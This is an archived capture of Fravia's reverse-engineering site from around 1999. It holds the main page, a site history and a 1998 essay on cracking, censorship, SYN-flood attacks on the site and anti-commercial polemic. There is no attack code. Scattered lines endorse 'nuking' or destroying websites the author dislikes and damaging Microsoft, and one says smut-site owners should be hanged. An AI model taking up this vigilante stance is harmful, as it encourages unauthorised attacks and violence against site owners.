You are on page 1of 5056

(`.(`. Fravia's pages of reverse engineering .).

) (preparing reality reversers for the next Millennium)

Oh silly syn-attackers... Fravia fluctuat, nec mergitur


If you enjoy this site, you may be able to help
me
Some mirrors my not work or have obsolete copies of my site: search, peruse, find :-)
scratch pad!
Redirection (States) E-States (Crazyboy) E-Europe (P.Lowe) Asia (Faizal)
(fravia+)
W-Europe: A W-Europe: CH W-Europe: FR multimania
xoom
(Bernd) (Luc) (+tsehp) (Iduchosal)
new fortress! (Kevin) Australia (Peter)
Of course you should visit my Webtwin +Greythorne's site as well

Software
reverse
engineering
and web
survival
arguments

Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy

fravia's tracking and other


techniques
~
Reality cracking and
anti-advertisement

http://www.instinct.org/fravia/ (1 of 6) [2/7/2001 2:52:26 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

F pages of
techniques and tools
~
How to search the
web: combing, klebing

R reverse and other strategies


~
cookies removal; bots

A engineering frozen
October
1999
and web-spiders
trapping;
anti-Micro$oft and
anti-Netscape scripts
V Version
November
1999
and tricks; tools for
software reverse
engineering;

I cgi-cracking; user
self-defense; corporate
survival counter

A measures; home-pages
capering and password
cracking techniques;
commercial smut sites
busting; Java applets
reversing; vxd
Fravia's Nofrill monitoring;
Web design
('98,'99) steganographical and
cryptological reversing
matters; Javascript
based site protection
and deprotection
techniques; email
patterns reversing

On the Web
since 1995!

If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding

, fravia's residence, European Union


my reader, this labyrinth of pages (you'll never be able to count them all :-) contains many teachings, and

http://www.instinct.org/fravia/ (2 of 6) [2/7/2001 2:52:26 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

will help you gain knowledge that you will not find elsewhere. Please wander slowly inside: sip a good
cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+

__My New Fortress is defended__


Thanking my holy protectors

Oh silly I thank Wizard


syn-attackers... Kevin for his
Fravia fluctuat, mighty protection of
nec mergitur my new fortress

__Disclaimer of liability__
I do disclaim thee, Oh Liability!

All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)

Read my short essay: Is reverse engineering legal?

Special disclaimer
About the part of my site dealing with reversing protection schemes

http://www.instinct.org/fravia/ (3 of 6) [2/7/2001 2:52:26 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

Please note that I have always been a very sensible person: if any programmer with a legitimate interest
really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.

__Good browsers and bad browsers__


Which browser are you using, my good reader?

I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)

__Entrances to fravia's fortress__

"if your browser is poor click on the red..."


N.B.: The essays' database is at the moment NOT being updated

http://www.instinct.org/fravia/ (4 of 6) [2/7/2001 2:52:26 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

fravia's past updates researches at fravia's

Read the news!


Fravia's blackboard! Alphabe!

__Fravia's counters and anti-spam links__

I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!

__On the way out__


Goodbye, please damage Microsoft

If you are new Faq History Awards Stats

Entrance to Fravia's pages of reverse engineering

This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.

http://www.instinct.org/fravia/ (5 of 6) [2/7/2001 2:52:26 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

(c) Fravia, 1995, 1996, 1997, 1998, 1999.


All rights reserved, in the European Union and elsewhere

Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.

http://www.instinct.org/fravia/ (6 of 6) [2/7/2001 2:52:26 PM]


history.htm (history of fravia's site)

The History of my site, by fravia+


(Revised version: October 1999)
At the bottom you'll also find a "specific history of the student.htm page". ~ To understand more you
may also be intersted in my "september thoughts" (from software cracking to a reversing lab) and you
may find quite a lot of additional info about the most recent developments in my main Messageboard

~
[Now reader] [Why I publish] [+ORC] [Knowledge is now free]
[Beyond software reverse engineering] [Censorship attempts] [Censors deserve only contempt]
[Syn-attacks against my site]

Now reader
'Now reader,' said fravia+, 'look upon the
programming reality! Breathe the free air again!'
From the porch upon the top of the high site they
could see beyond the stream the green fields of
assembly fading into distant grey. Curtains of
wind-blown rain were slanting down. The sky above
and to the west was still dark with thunder, and
lightning far away flicklered among the tops of hidden
hills. But the wind had shifted to the north, and
already the storm that had come out of the East was
receding, rolling away southward to the sea.
Suddendly through a rent in the clouds behind them a
shaft of sun stabbed down. the falling showers
gleamed like silver, and far away the river glittered
like a shimmering glass.
'It is not so dark here,' said the reader.
'No,' said fravia+. 'Nor does the windows OS lie so
heavily on your shoulders as some would have you
think. Cast aside your "visual" frills!'
From the reader's hand the heavy M$-books fell
clattering on the stones. He drew himself up, slowly,
as a man that is stiff from long bending over some
dull toil. Now tall and straight he stood, and his eyes
were blue as he looked into the opening sky.
'Dark have been my dreams of late,' he said, 'but I feel
as one new-awakened. I would now that you had
come before, fravia+. For I fear that already you have
come too late, only to see the last days of real

http://www.instinct.org/fravia/history.htm (1 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

programming. Not long now shall stand the high hall


which the great assembly wizards of the past built.
OOP shall devour the high sites. What is to be done?'
'Much,' said fravia+...

Why I publish
I decided to publish my "page of reverse engineering" because the inner working of computer programs
(and any other thing) has always fascinated me.
Software programs (software operating systems too, for that matter) are being more and more "hidden"
from the user (as the growing appearance of "Wizards" and automated installation and de-installation
procedures attest) and are more and more using "undocumented" functions and performing "clandestine"
activities on user machines.
Such "covert" activities encompass among other things:
- the unashamed spying of the installed software (eventually denouncing it (secretly) in the background
during a web connection): Many recent Micro$oft products.
- the gathering (secretly) of information about the user and his choices and preferences delivering it to
commercial oriented bastards for spamming ads or unsolicited email (web-scripts, web-search engines
and some commercial software)
- the modification (without asking of course) of many user-parameters of the operating system, the
deletion or modification or "updating" of user files, the fiddling with the physical locations of the user
harddisk and so on (many protection schemes and many installation procedures).

It has always astonished me that so few even cared to check such developments, and that virtually
nobody fought against them or tried to counter (or retaliate). I conduced a very lonely fight on my own,
which started long ago on a Sinclair spectrum and will probably never finish :-(

There is another reason for my activity: The Web, as you will already have realized, is an Ocean of
knowledge... about two centimeters deep. I wanted to show that you can create a non-commercial site
that spreads for free REAL knowledge, and I believe that I made my point. There is not a single ad on
my site, and I'm loosing money with all this, not making it. Yet at the time of writing there are more than
30000 hits every day on my pages... which gives a spreading of much more than 100000 new readers
every month. More than enough.

+ORC
As soon as I saw the first lessons by +ORC, back in the winter of 1995, I understood that a new dawn
was possible (at least among crackers :-) if enough of us would have understood and carried his tutorial
and his simple (but incredibly deep) message: "knowledge is now free at last, everything should be free
from now on, enjoy knowledge and life and work for everybody else". I was also struck from the
affinities between my own ideas and +ORC's philosophy.

+ORC's approach, in choosing "cracking" (the busting of software protections) as channel through which
his ideas could be at least partly diffused was simply genial: There you had on one side a huge

http://www.instinct.org/fravia/history.htm (2 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

community of very clever and talented young people, with an incredible thirst for knowledge, which
could NEVER be satisfied by a society mainly intent in transforming them in silly consumer guinea pigs
and there you had on the other side our Web, growing with an incredible momentum: the perfect media
for free "forbidden" knowledge spreading. An high explosive cocktail indeed!

The developments of the last years with the incredible growth of the "+ORC's students" section, confirms
that +ORC has indeed thrown a lot of seeds in the wind! :-)

His tutorial is now (May 1999) in part obsolete (yet it remains a MUST reading for all people that learn
reversing skills). The incredibly rash development of the +HCU has given results that went beyond any
possible forecast. The +HCU is certainly not "a group of crackers like many other". In fact it is a loose
association of more than one hundred reverse engineers, protectors, cryptographical wizards and crackers
(lone wolfs or in one of the many existing groups). The +HCU publishes each year (in April) a "strainer"
for admission to the subsequent year courses (this year's strainer is still 'in the making', though.
The +HCU is nowadays, through his many projects and the more than 400 essays, a real free "Academy"
of software reverse engineering (the "open university" of software reverse engineering) whose
documents are eagerly awaited (and read) by many "professional" reverse engineer around the world.
Judging from the postings I have received there is more and more "official" recognition of our work, an
activity that a couple of years ago could still be dismissed as simple protection cracking.

+ORC has partly retired. He's apparently gone hyeroglyphologist and dwells at the moment in Egypt
somewhere, cracking ancient legends. On 29 October 1997 he wrote a letter about the organization of the
+HCU and in december charged +Alistair and +Aesculapius to take over this year courses (and the
preparation of this year strainer for 1999) with a vague promise to 'take over' the HCU teaching in
September 1998... but he never did :-( I would really like to get at least his two promised 'zen cracking'
lessons :-)

KNOWLEDGE IS NOW FREE


Anyway even the +HCU is in my opinion not very important per se. What IS important is the fact that all
over the web many (and I mean it: MANY, not few) are learning (and putting in practice) the same
principles: "knowledge is now free at last"... since we are dealing mainly with software here, and since
sofware HAS a huge importance today, the fact that the average "Joe User" is slowly understanding that
he can CONTROL and MODIFY whatever he fancies has already a HUGE impact on the silly
commercial bastards that would like to continue to make money out of people kept in ignorance. If you
are reading these words of mine buried under the overbloated weight of M$IE 4 or Netscape's
'Communicator' you'll be pleasantly surprised as soon as you download and try the last version of Opera,
a small (yet incredibly effective) browser by an australian genius which lets the huge overbloated
'standard' dinobrowsers by Micro$oft and Netscape byte dust.
This said, the non plus ultra of all web-browsing experiences remains imho surfing with your own
modified copy of Netscape 3 (the best version of Navigator so far). We have done it 'manually' a long
time ago, reversing the hell out of it, but now you'll be able to 'panzer' and 'fortify' as you wish every
aspect of this target very easily, since Netscape, in utter desperation against Micro$oft vicious attacks,
has been compelled to given out publicily its source code... which is good: you should receive (or get
nevertheless :-) the source code of every app you use, that would spare you a lot of problems...

http://www.instinct.org/fravia/history.htm (3 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

Browsers are not the only evidence of the fact that "the storm is receding": as anyone that has done 'the
great step' knows, noone in his right mind would ever think to go back to the puke called windows after
having used Linux (else than for cracking its sofware, that is :-)

Beyond software reverse engineering


Reverse engineering software, as I write elsewhere, is more an "attitude" than a simple collection of
techniques. It has much to do with a logical, puzzle-solving, approach, and requires knowledge, luck and
"feeling". We have until now cracked mostly protection schemes (and we will occasionally continue to
do so), because this allowed to accommodate many talented young people on the bandwagon, (there is an
obvious "immediate" reward if you crack a protection scheme and, as everyone knows: "Copy-protection
schemes" are nothing else than elegant devices for training the next generation of assembly-language
programmers :-), but as you'll be able to see, watching the evolution of the essays hosted on my site, a
growing number of "crackers" is already walking along much more interesting paths, and goes already
now to incredible lengths in order to reverse engineer a "difficult" snippet of code, not necessarily
belonging to a protection.
On the other hand, more and more essays try to 'improve' the protection schemes used in the targeted
software. A development that many 'lesser' crackers have heavily criticized on usenet, their pathetical
idea being that we should keep among us the knowledge... Why? In order to crack undisturbed the same
old boring protections for the eternity?
NO! Life is development, and if a software programmer will trough our essays learn enough to protect
his software so well that we will not be able to bust his schemes, that's a very GOOD development. At
least a real challenge!

Software reverse engineering is anyway only a part of the more complex task of defending yourself
against manipulations and actions that you are not even supposed to see or understand. You'll quickly
understand what this means if you have a look at my relevant pages, like the one on anonymity, or the
one (that I love) on reality cracking. In fact I believe that the "reality cracking" section will acquire a
more and more important role in the future years, and not only (I hope) on my site. The point, you see, is
that cracking, far from being a shady semi-legal activity, is one of the MOST IMPORTANT professions
of the world. A cracker (in this broad sense) is a teacher and a philosoph, an acute observer, a talented
wise wizard in our oligarchic, democracy-faking world where hidden meanings and continuous
manipulation are the norm. Crackers should teach your sons what really happens in a supermarket, why
there are so many lotteries, why you are compelled to drink mineral water and what they are doing to
your mind every time you watch some apparently innocent publicity ad. And by all means crackers
should teach your sons how to search the web, how to avoid leaving tracks and, last but not least where
to find (some snippets of) real information about this ugly society that surrounds us.

Censorship attempts
My pages have always spread knowledge for free and have been therefore heavily censored. They have
been first censored by Compu$erve (& Micro$oft) on 21/08/1996.
My following main page, at http://www.geocities.com/Athens/5513, (one of the "top 1000" pages
according to Webcounter's stat) had not much more luck... it was censored as well -by Geocities- after 18
months, on 16 April 1997.

http://www.instinct.org/fravia/history.htm (4 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

I immediately set up two mirror pages, a new one at geocities and another one at mygale, hoping,
optimistically, that the European free pages providers would have been far less bigots and commercially
oriented than the American ones. Alas this was not the case, and the "mygaliens" have censored my site
on 23 May 1997 as well, as soon as it had mounted among their "top ten" pages (which was very quick,
since the "audience" of my site doubles every two months :-). Geocities censured my new site as well the
same day, probably in the hope to "squeeze" me out of the web with a 'coordinated' censorship
manoeuver... poor sod censors, they still do not seem to understand the "alfa and omega" of Internet!
From that moment I decided anyway to seek asylum among more solid providers, and I continue to thank
Mailman and mighty Sharp for having hosted for a long time my "fortress" page at
http://207.30.50.126/fravia/fravia.htm (the "tana")

Unfortunately even this relatively solid server began being attacked for some of my pages (the ones
about CGI-script security, i.e. how to nuke a site you don't like, on the web, given some conditions). In
fact many servers are OWNED by people running scam commercial smut sites, and they can allow any
abominable smut site BUT NOT a site that teaches you how to nuke them.
In November 1997 the situation in my old main page (which still work well thanks Sharp) was
deteriorating. The hosting server decided to put a 'default' page catcher for its smut search engines that
snapped every time anyone on the server (even people not remotely connected with those sites) found a
broken link. An abomination against which Sharp could not do much, which has forced me to crash open
my fortress at http://fravia.org on the 25th of November 1997, a month before its scheduled openings
(you should ALWAYS keep a complete 'sleeping' site up your arms just in case, btw :-)
Short afterward Sharp's part of the server was destroyed by the bigot american SPA association (note that
they smashed only 'intelligent' cracker pages and didn't touch the warez sites on the same server... well,
no wonder, they are the same lackeys that condoned the blatant piracy of Micro$oft in the Stacker
software case...)
For all these reasons I'm now very happy to have a new powerful FORTRESS thank to a gracious
donation, and without any ugly sponsoring. I must say that the people at Webcaf are doing a really
GREAT job so if anyone should ever come to the thought of sending me money: I don't need money:
send it to Netcaf instead :-) Anyway I hope that this relative 'tranquility' from censorship will allow me
to deliver a less chaotic fravia's page of reverse engineering to my readers :-)

This continued censorship ("pagewaxing") should not surprise you: there's a growing hostility, on the
web, against knowledge that's given away for free: they would like a commercial, mercantile world of
stupid publicity ads and irrelevant frills, where the slaves and guinea pigs of their useless advertisements
live and work only in order to consume... that's the real reason they despise and hate anything that moves
in the opposite direction... but we'll win, because that what we do, we do for pleasure, not for money :-)
I'm proud of the censorship attempts I had to endure: Geocities is an American "puritane" enterprise,
which seems to have more or less the same civic courage as an eggplant; Mygale is (was?) the pathetic
attempt of a young student in Paris to get himself a job and to "establish a French presence on the Web",
as if nationality or language would still matter in our new world; Compu$erve is a doomed dinosaur of
the pre-Internet age, and commercial smut site owners should IMHO be hanged at their own servers'
towers using their mouse's cable.
Most 'space providers' have ONE common characteristic: they want to make money, and they want to
make money in the only way they know of: through awful publicity ads, selling gadgets that nobody in

http://www.instinct.org/fravia/history.htm (5 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

his right mind would ever consider to buy and offering -for money- special "services" that in most cases
you could get for free elsewhere... a typical pathetical case, on the web, being the services that 'register'
you (for payment) on the 'major' search engines. Ah!
Moreover in order to gain money these lusers believe (wrongly) that they should "conform" to the
low-profile trend of self-censorship that pervades our supine society.

Censors deserve only contempt,


on the net and elsewhere.
Yes, I have started a fight against all commercial-smut depots (against all ugly commercial oriented
trends on the web for that matter). I'm not a censor, and I have nothing at all against nude pictures (if
given away for free) but there are some Web trends that I feel we must counter (and retaliate).
One of this is the proliferating of the awful commercial smut depots, that deliver (against payment) poor
scanned images that anybody frustrated enough to need them could have -for free- on the relevant usenet
groups.
This is not only a fraud, but is pestering more and more servers, among others my own old one. Things
are so bad that commercial smut owners impose 'smut-default-catchers' on the servers where they dwell,
i.e. a smut page that you automatically get every time you run a broken link on ANY site of the whole
server. Other common tricks are the opening of one or more new (smaller) pages every time somebody
visits a site. Unknowingly to the user, these pages trigger bogus hits on banners that the visitor would
never have dreamed of clicking. There are many more (pathetically shoddy) tricks of the commercial site
owners... you may want to learn how to rebuke them on my javascript tricks page, or you may enjoy
directly destroying (or damaging) those sites through the tricks described on my Antismut CGI-reversing
pages, which will be available with the rest of my site as long as the servers where I'm hosted will be able
to defend me.
This said, I could not care less about any future censorship attempt... as soon as they censor me, I'll open
a new site (or even a couple of mirrors) somewhere else... the exponential growth of the Net is on my
side and against all censorship attempts

Censorship on the web hydes its face (geocities: 'no links to craacking tools are allowed'), yet its real
visage is easily seen by any reverser: look at cracking itself for instance: there seem to be no real
problems for 'serial number' repositories or 'warez' depots, where you can find STOLEN programs for
free even BEFORE they are sold in the shops (search for "warez", "gamez" and "appz" on the search
engines... you'll find a million of them)... but there are on the contrary continued problems for people that
TEACH you for free how those same search engines and those same programs really work.

Yet you have lost, stupid censors. The thronging masses of guinea pigs are slowly disappearing. We are
the ones that are growing a generation of computer users that will KNOW (pretty well :-) what's going on
inside any program, and that will be able to change them as far as they fancy, all things that Micro$oft
and others DO NOT LIKE AT ALL... they would like everybody to produce "toy" applications with
stupid overbloated and ineffective languages, leaving them the task (and the rewards) to program "real"
applications... no, no, NO! That's incidentally also the reason WHY you should damage Micro$oft's
interests wherever you can: this damaging is a good nice thing "per se", seen what they have done to us

http://www.instinct.org/fravia/history.htm (6 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

(you have to wait now up to 5 minutes to fire on a Pentium II a wordprocessor that's far inferior to the
one you would have fired in 5 seconds with old dos on a 8086, for instance)

Each one of us will throw, for free, his own sand pebble inside the awful wheels
of the commercial society we all live in... that's more than enough to grind it to its
well deserved death.

Syn attacks against my sites (January-May


1999)
For many years my fortress has been continuously attacked by young crackers with the Billy-the-Kid
syndrome ("hey, I have nuked fravia's!"). Most of these attacks were weak and easily rebuked (in some
cases even punished :-) either by my system administrators or by myself. Some of them were
nevertheless quite interesting and ingenious, and have been analysed in the essays that you'll find in my
porn site busting section.
In January 1999 however, a massive a well organised syn-attack against my fortress at
http://www.fravia.org (hosted graciously by netcaf) frigged the local router and brought the server on its
knees.
The fortress was taken off until 21 april 1999
With the help of +Alistair, I went on a very difficoult hunt for my enemies, but from the few gathered
pieces of the puzzle we could draw only some vague hints.
The third week of April my old fortress reopened onto a stronger server, but -once more- a massive
syn-attack frigged the router after less than a week on 26 april 1999.
Since the attackers began a serie of syn-attacks against my mirrors as well (forcing the columbia
university mirror to close in April 1999), some friends decided to set up a "mirror jungle". I have to thank
+tsehp and Jeff (and all the others) for this endeavour, that underlined once more the superiority of our
"web of knowledge and solidarity" against all commercial oriented zombies (I now know that this
definition qualifies exactly my syn attackers).
You'll be able to find lists of my many mirrors (not all of them working) at Tapu's and especially at Jeff's
special pages.
Some of these mirrors have been purposely set up as "lure" on locations that allowed me to triangolate
my attackers.
This solution was nevertheless not very elegant, and I wanted to re-set my fravia.org address on a
"panzered" server. Luckily I found the help of a great wizard of old (nonetheless than Kevin!), that
graciously (and cleverly) set up a very powerful multi-servers configuration just to hold my site. This
new fortress has withstood so far (October 1999) all sort of vicious attacks and is being heavily guarded
and defended by Kevin. At one point the attackers went so far to download microcode to a Cisco router,
which is not an easy, nor very common, trick at all, but to no avail! :-)
The attacks have never stopped and are currently (October 1999) being routinely carried out, with
slightly different patterns against my new fortress. As you are probably reading this on my new fortress,
you can imagine how frustrated the silly syn-attackers probably are. Since we know now that the most

http://www.instinct.org/fravia/history.htm (7 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

attacks were stardet from the West coast of the States (where the attackers have been documented using 8
machines from a M$-stream at one given time :-) some visitors from that area may experience some
problems (basically heavy automated trackwork :-) when accessing from West coast USA backbones (a
"backbone" is the high-traffic-density connectivity portion of any communications network)
I'll publish an essay on the debunking of these attackers that should be of some interest for the whole
reversing community... in fact as it appears, a part of the attackers are nothing else that commercial
oriented 'mainstream' crackers... come to think of that, I should actually thank these clowns, since they
gave me the opportunity to learn quite a lot of tricks I did not know of.

This is my answer to the attackers (sensible souls and minors:


don't click)

And if you want to READ my answer instead (will vary every time) then click here, eheh (courtesy of
Scott Pakin)

Note however, that some


(non-disruptive) attacks are "nice"
and extremely useful, for instance
on 01 October 1999 the main page
of my new fortress (index.htm) has
been hacked... a nice lesson for me
and Kevin... (yeah, NT-boxes are a
nightmare to defend...)

<--- from fravia's own "crackers'


posters" collection...

Censorships attempt and useless attacks like these do not mean nothing for me. Since I'm not making any
money with my sites, I'm not loosing any either.
The nature of our web is such that knowledge will always continue to flow through it, notwithstanding
advertisement, commercial interests, censoring agencies and all "special governmental bodies" attempts
:-)
Fravia fluctuat nec mergitur, eheh

http://www.instinct.org/fravia/history.htm (8 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

Specific history of the student.htm page


History of the student page and of the academy
The "Academy", started in March 1997, carries the best short essays from all +ORC's students (and other
friends) and it has quickly developed in one of the most interesting places of the whole net (at least this is
what people keep writing me). Reading the material offered on the academy's databases you'll gain an
incredible amount of knowledge... (I myself did).
+ORC pushed my way some of the essays he had received, the other just followed once the first one were
publicised... +Swann has the merit to have started the whole snowball (Swann, you'll land on all history
books :-)

+ORC charged me to publish useful material for the +HCU and I believe that nothing proves the
effectiveness of +ORC's teaching more than his students findings

The problem with the protections


You see, the problem with protection schemes, is their "intrinsic" nature: they have to remain 'secret'
(else everybody would be able crack them...) but 'secretness' is very stupid in this new age of
information... therefore the protectionists COULD NOT use (until now that is :-) the real MIGHT of
Internet! They could not get in contact AND exchange their findings... building on the shoulders of
others and I mean of people that THEY DO NOT EVEN KNOW TO EXIST... poor bunch of confined "I
know you already" people! At most they could PGP each other some already well known tricks...
everything among people they (thought they) could trust... so they never got "fresh blood" on protection
work and development... But WE CAN! Alone we are nothing, but joining forces we are like fingers in a
fist! (Kurt Tukolsky's image... a GREAT MIND... read his books! not easy to find, though).

And crackers are NOTHING else than the other face of protectors, of course. And the Net, despise all
censorship attempts, still gives us reverse engineers PLENTY of possibilities of joining knowledge, data
and forces FOR FREE! Our work is studied (and often ameliorated) by others! So crackers grow ("evil"
lone wolf crackers and "good" teaching +crackers... that's just a matter of individual taste and leanings :-)
protectors grow ('greedy' protectors and "good" teaching +protectors... that's just a matter of individual
taste and leanings :-) and, -at times- even mighty "tools-makers" and "reversing wizards" appear.
Anyway my page is only ONE of the many sites on the web that are giving out knowledge... and this is
VERY important! Information spreading (coupled with a certain degree of anonimity :-) is ALREADY
cracking the fundaments of this awful -TV drooling zombies and commercial idiots- society...
Look: as soon as people can do what they like... they do it FOR FREE, and for everybody else to enjoy...
they do not do it for money... funny isn't it? But true: Look at the web! Everything is for free! Millions of
hours of work by millions of people that DO NOT KNOW each other... all this developed into pages

http://www.instinct.org/fravia/history.htm (9 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

where knowledge is given away for knowledge's sake! It's incredible, but true... and all commercial
attempts have (until now, let's cross finger) failed miserably because of this enormous mass of people
that seems to have come from another planet!
People that do not care for money? The slave masters cannot even understand what's going on under their
suspicious noses... What? People giving something away for free? What's that? What's wrong with them?
Cant be true!
Poor sods! For free we give, yet not without some GREAT advantages for every one who spreads
knowledge and works on it...

KNOWLEDGE IS KNOWLEDGE'S REWARD!

you see that on this very site of mine! The contributes of all others ARE advantages for each one of
you... and that's exactly what the commercial minds hate... That's why our enemies keep trying to grind
all Internet wheels, in order to get a "dependent" Internet, with some Micro$oft "TV-channel-MSN"
awful systems and all other "push" attempts (where people will get only what the slave masters have
chosen), that's the reason of much censorship and that's the reason behind all other PASSIVIZING
Internet efforts they are working on... our enemies do not like at all people CHOOSING what they want,
DECIDING ALONE what they would like to do, able to MODIFY (or refuse or rebuke) the technology
they use everyday... our enemies need CONSUM SLAVES in order to make money... people that think
are dangerous... they could even come one day to the dreadful idea to ACT POLITICALLY and put an
end to an absurd society where money, not knowledge, means power (why?), where millions of human
beings are closed in urban ghettos to pray on each other (and eliminate each other physically) instead of
being helped to develop themselves. A ugly society where men and women are kept running inside
guinea-pig wheels, idiotized by useless TV-channels that are OWNED by their masters. Our planet has
been transformed in an awful place, where you are compelled to spend your whole life in order to "earn"
it... where poetry and philosophy are judged irrelevant and only money (and bad taste) rule.

The "slave masters" cannot therefore understand us, they understand only the old (scary) pre-Internet
world, a dim grey world of people "hiding" knowledge in order of taking advantage of it... instead of
spreading it for free to anybody who cares ...

BAD LUCK! Poor stupid slave masters... You DO NOT OWN INTERNET! And therefore you have
already lost! LOOK HERE! :-) Look at the intrinsic and evident "development" of the essays! Nothing
on the Web demonstrates better than this the MIGHT of common people joining forces WITHOUT
repulsive "sponsors", dirty "lobbies" or useless publicity ads! No money at all... yet HUNDRED of
individual like us, offering away THOUSANDS of hours of (difficult) work to people that may not even
care to thank... we are offering a knowledge, as you will be able to see by yourself, that you will NOT
find elsewhere, no matter how much you would pay for it... therefore, see... "free" beats "commercial" in
spades!
(Besides, the web was built in order to resist ATOMIC BOMBING, it will easily resist any
ADVERTISEMENT BOMBING as well :-)

I like it A LOT!

http://www.instinct.org/fravia/history.htm (10 of 11) [2/7/2001 2:53:06 PM]


history.htm (history of fravia's site)

A rare collector
item
~
The collectors' sector grew more
frenzied in the run up after the
appearence of a rare exemplar of
fravia's famous "cabezon" (main
cover), composed in march 1997
by the Web-author himself. The
lovely masterpiece, reproduced on
the left, has been sold for $ 3.6
billions to Sotheby, a venerable
British auctioneer.
The immediate and expressive
approach, coupled with fantasy,
inventiveness and wealth of
culture is an integral part of the
spirit of those times.

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

"Copy-protection schemes": elegant devices for training the next generation of assembly-language
programmers

http://www.instinct.org/fravia/history.htm (11 of 11) [2/7/2001 2:53:06 PM]


septem.htm: Fravia's '98 Autumnal thoughts

FRAVIA'S CROSSING

(Recent thoughts of a reverser ~ September 1998 ~ Add-on: May 1999)


~
From software cracking towards a "reversing lab"
~
[My radical plans] [Selected Answers & Comments]

My radical plans

Added in May 1999


Fravia's thoughts (April-May 1999)
OK, so I have taken some decisions during the
long (forced) interruption of my on-line
presence due to the syn-attacks against my
fortress.

Software cracking
No more 'targeted' software cracking articles or
essays, i.e., nothing more that could
economically damage a given programmer. The
'software cracking' (historical) part of my
'frozen' old site will still be there, unless
someone should legitimately ask me to remove
any specific older essay. In that case I will most
probably comply and remove it.
From now on I'll publish only 'target unrelated',
'concealed activities' and 'older protections'
software cracking articles.

Reality cracking
Will be intensified.

How to search
Will be intensified.

Anonymity matters
Will be intensified.

http://www.instinct.org/fravia/septem.htm (1 of 5) [2/7/2001 2:53:23 PM]


septem.htm: Fravia's '98 Autumnal thoughts

I'll also start a new section: screaming truth


All this is just at the beginning, please bear with this confusion for a couple of weeks.
The following was written in september 1998
The section of my site about reversing software protections is about to change radically
In nuce: I will not accept nor write any more useless "software deprotection" essays, I'll publish (and try to write myself)
essays about software reverse engineering.. If you already had a look at my site, and at the published essays you'll
understand what I mean, else go ahead, explore my site and come back later.

The development of our techniques, approaches and global understanding has been huge. We don't need any more to crack
software protections ourself, it's time we move over to real software reversing... we need the software protection cracking
(as we always did) only as a 'lure' to get young talented people on a "reversing path", a road that will transform them into
good programmers, intelligent users, clever minds that will never again be obfuscated by frills and useless trends, real
humans that will work in order to achieve whatever their own (and not somebody else's) wishes are.
Ok, ok, ok: These words -I know- sound kinda funny: "so we'll transform people in order to avoid that they get
transformed" sounds quite scary... contradictory to say the least. Yet people that learn how to reverse (software schemes
and rhetorical patterns as well) will be able to easily reverse this very writing, and act consequently (note that this holds
true whichever reversing path they'll later take, white, red or black), so they'll be much more "safe" against all kind of
tricks -once for all- and that's exactly what I believe is important.
